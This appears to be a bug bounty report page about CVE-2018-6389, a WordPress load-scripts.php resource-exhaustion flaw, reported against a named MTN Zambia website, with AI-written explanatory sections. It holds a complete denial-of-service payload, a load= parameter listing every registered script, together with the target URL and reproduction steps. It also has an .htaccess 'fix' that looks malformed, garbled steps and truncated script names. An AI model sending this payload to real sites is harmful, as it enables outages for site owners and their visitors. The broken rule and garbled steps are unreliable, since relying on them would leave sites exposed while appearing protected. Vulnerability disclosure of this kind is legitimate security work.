CVE-2018-6389 exploitation - using scripts loader
WordPress's load-scripts.php endpoint accepts a long list of script names and returns them all in one response, so an unauthenticated attacker can repeatedly request every registered script to exhaust server resources. The text claims this can cause a denial of service against the affected site.
- Triaged in 12 days
- Fixed in 12 months
- Disclosed after 13 months
Issue Description Unauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times. The vulnerability is registered as [CVE-2018-6389] #761722 #752010 #753491 #335177
CVE ID Risk Score CVE-2018-6389 7.5
Platform(s) Affected: [website] *.https://www.mtn.zm/wp-admin/load-scripts.php?load=
###Steps To Reproduce:
- Open Vulnerability url - open directory
/wp-admin/load-scripts.php?load= - Add
parameter-vulnerablein request header - In request header using GET-Method
- Show url opened , and check in network websites has been vulnerable
stack-red - Response has been truncated
Payloads Vulnerabilities
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter
How to fix:
RewriteCond %{QUERY_STRING} ^.{1000,}$
RewriteRule ^WP-ADMIN/LOAD-SCRIPTS.PHP$ - f
- add this to your .htaccess
Proof On Concept : F909802
Impact
CVE-2018-6389
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the load-scripts.php endpoint concatenates and serves an arbitrarily large list of registered scripts in a single unauthenticated request, with no limit on how many scripts or how often it is called.
Impact
An unauthenticated attacker could consume server resources and cause a denial of service, though the text gives no measured evidence of the effect.
What the attacker needed
No login needed; target runs vulnerable WordPress
The fix
The text suggests blocking requests to load-scripts.php whose query string is very long, via an .htaccess rule; it does not say the issue was fixed.
How it was found
- Open the load-scripts.php endpoint under wp-admin with a load parameter.
- Send the request using the GET method with the long list of script names.
- Check the response in the browser's network view; the response is truncated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website normally sends its JavaScript files to a visitor's browser so pages work. This WordPress feature lets one request ask for many of those files at once, and the server does the work of gathering them all. Because anyone can send that request without logging in, an attacker can send it over and over and keep the server busy until normal visitors are affected.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.